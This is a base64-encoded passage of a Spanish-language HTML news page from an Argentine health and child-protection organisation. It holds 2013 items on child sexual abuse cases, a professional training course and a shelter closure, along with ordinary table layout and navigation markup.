3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgIC